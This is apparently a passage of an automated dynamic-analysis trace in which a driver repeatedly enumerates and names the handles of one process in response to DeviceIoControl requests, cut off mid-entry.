[0068.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.452] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.452] PsAcquireProcessExitSynchronization () returned 0x0 [0068.452] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.452] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001faea00, HandleInformation=0x0) returned 0x0 [0068.452] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.452] PsReleaseProcessExitSynchronization () returned 0x2 [0068.452] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.452] ObQueryNameString (in: Object=0xfffff8a001faea00, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.452] ObfDereferenceObject (Object=0xfffff8a001faea00) returned 0x1 [0068.452] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.452] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.452] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.452] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.452] PsAcquireProcessExitSynchronization () returned 0x0 [0068.452] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.452] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00202e5c0, HandleInformation=0x0) returned 0x0 [0068.452] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.452] PsReleaseProcessExitSynchronization () returned 0x2 [0068.452] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.452] ObQueryNameString (in: Object=0xfffff8a00202e5c0, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.452] ObfDereferenceObject (Object=0xfffff8a00202e5c0) returned 0x1 [0068.452] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.452] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.452] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.460] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.460] PsAcquireProcessExitSynchronization () returned 0x0 [0068.460] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.461] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001efae00, HandleInformation=0x0) returned 0x0 [0068.461] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.461] PsReleaseProcessExitSynchronization () returned 0x2 [0068.461] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.461] ObQueryNameString (in: Object=0xfffff8a001efae00, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.461] ObfDereferenceObject (Object=0xfffff8a001efae00) returned 0x1 [0068.461] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.461] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.463] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.483] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.483] PsAcquireProcessExitSynchronization () returned 0x0 [0068.483] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.483] ObReferenceObjectByHandle (in: Handle=0x430, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001ffee10, HandleInformation=0x0) returned 0x0 [0068.483] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.483] PsReleaseProcessExitSynchronization () returned 0x2 [0068.483] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.483] ObQueryNameString (in: Object=0xfffff8a001ffee10, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.483] ObfDereferenceObject (Object=0xfffff8a001ffee10) returned 0x1 [0068.483] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.483] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.483] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.483] PsAcquireProcessExitSynchronization () returned 0x0 [0068.483] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.483] ObReferenceObjectByHandle (in: Handle=0x440, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020161d0, HandleInformation=0x0) returned 0x0 [0068.483] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.483] PsReleaseProcessExitSynchronization () returned 0x2 [0068.483] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.483] ObQueryNameString (in: Object=0xfffff8a0020161d0, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.483] ObfDereferenceObject (Object=0xfffff8a0020161d0) returned 0x1 [0068.483] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.483] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.483] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.483] PsAcquireProcessExitSynchronization () returned 0x0 [0068.483] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.483] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001feb740, HandleInformation=0x0) returned 0x0 [0068.483] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.484] PsReleaseProcessExitSynchronization () returned 0x2 [0068.484] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.484] ObQueryNameString (in: Object=0xfffff8a001feb740, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.484] ObfDereferenceObject (Object=0xfffff8a001feb740) returned 0x1 [0068.484] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.484] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.484] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.484] PsAcquireProcessExitSynchronization () returned 0x0 [0068.484] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.484] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001b713e0, HandleInformation=0x0) returned 0x0 [0068.484] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.484] PsReleaseProcessExitSynchronization () returned 0x2 [0068.484] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.484] ObQueryNameString (in: Object=0xfffff8a001b713e0, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.484] ObfDereferenceObject (Object=0xfffff8a001b713e0) returned 0x1 [0068.484] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.484] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.484] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.484] PsAcquireProcessExitSynchronization () returned 0x0 [0068.484] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.484] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fab170, HandleInformation=0x0) returned 0x0 [0068.484] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.484] PsReleaseProcessExitSynchronization () returned 0x2 [0068.484] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.485] ObQueryNameString (in: Object=0xfffff8a001fab170, ObjectNameInfo=0xfffffa8003971044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003971044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.485] ObfDereferenceObject (Object=0xfffff8a001fab170) returned 0x1 [0068.485] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.485] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.485] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.485] PsAcquireProcessExitSynchronization () returned 0x0 [0068.485] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.485] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001cb0690, HandleInformation=0x0) returned 0x0 [0068.485] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.485] PsReleaseProcessExitSynchronization () returned 0x2 [0068.485] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.485] ObQueryNameString (in: Object=0xfffff8a001cb0690, ObjectNameInfo=0xfffffa8003972044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003972044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.485] ObfDereferenceObject (Object=0xfffff8a001cb0690) returned 0x1 [0068.485] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.485] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.485] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.485] PsAcquireProcessExitSynchronization () returned 0x0 [0068.485] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.485] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f9f600, HandleInformation=0x0) returned 0x0 [0068.485] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.485] PsReleaseProcessExitSynchronization () returned 0x2 [0068.485] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.485] ObQueryNameString (in: Object=0xfffff8a001f9f600, ObjectNameInfo=0xfffffa8003973044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003973044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.485] ObfDereferenceObject (Object=0xfffff8a001f9f600) returned 0x1 [0068.485] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.485] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.486] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.486] PsAcquireProcessExitSynchronization () returned 0x0 [0068.486] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.486] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002039e50, HandleInformation=0x0) returned 0x0 [0068.486] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.486] PsReleaseProcessExitSynchronization () returned 0x2 [0068.486] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.486] ObQueryNameString (in: Object=0xfffff8a002039e50, ObjectNameInfo=0xfffffa8003974044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003974044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.486] ObfDereferenceObject (Object=0xfffff8a002039e50) returned 0x1 [0068.486] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.486] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.486] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.486] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.486] PsAcquireProcessExitSynchronization () returned 0x0 [0068.486] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.486] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fa75a0, HandleInformation=0x0) returned 0x0 [0068.486] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.486] PsReleaseProcessExitSynchronization () returned 0x2 [0068.486] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.486] ObQueryNameString (in: Object=0xfffff8a001fa75a0, ObjectNameInfo=0xfffffa8003976044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003976044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.486] ObfDereferenceObject (Object=0xfffff8a001fa75a0) returned 0x1 [0068.486] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.486] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.486] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.486] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.486] PsAcquireProcessExitSynchronization () returned 0x0 [0068.486] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.486] ObReferenceObjectByHandle (in: Handle=0x4c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002046630, HandleInformation=0x0) returned 0x0 [0068.486] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.487] PsReleaseProcessExitSynchronization () returned 0x2 [0068.487] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.487] ObQueryNameString (in: Object=0xfffff8a002046630, ObjectNameInfo=0xfffffa800397d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.487] ObfDereferenceObject (Object=0xfffff8a002046630) returned 0x1 [0068.487] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.487] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.487] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.487] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.487] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.487] PsAcquireProcessExitSynchronization () returned 0x0 [0068.487] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.487] ObReferenceObjectByHandle (in: Handle=0x4d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fe05a0, HandleInformation=0x0) returned 0x0 [0068.487] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.487] PsReleaseProcessExitSynchronization () returned 0x2 [0068.487] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.487] ObQueryNameString (in: Object=0xfffff8a001fe05a0, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.487] ObfDereferenceObject (Object=0xfffff8a001fe05a0) returned 0x1 [0068.487] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.487] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.487] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.487] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.487] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.487] PsAcquireProcessExitSynchronization () returned 0x0 [0068.487] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.487] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fcc4a0, HandleInformation=0x0) returned 0x0 [0068.487] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.487] PsReleaseProcessExitSynchronization () returned 0x2 [0068.487] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.487] ObQueryNameString (in: Object=0xfffff8a001fcc4a0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.487] ObfDereferenceObject (Object=0xfffff8a001fcc4a0) returned 0x1 [0068.487] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.487] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.487] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.487] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.488] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.488] PsAcquireProcessExitSynchronization () returned 0x0 [0068.488] KeStackAttachProcess 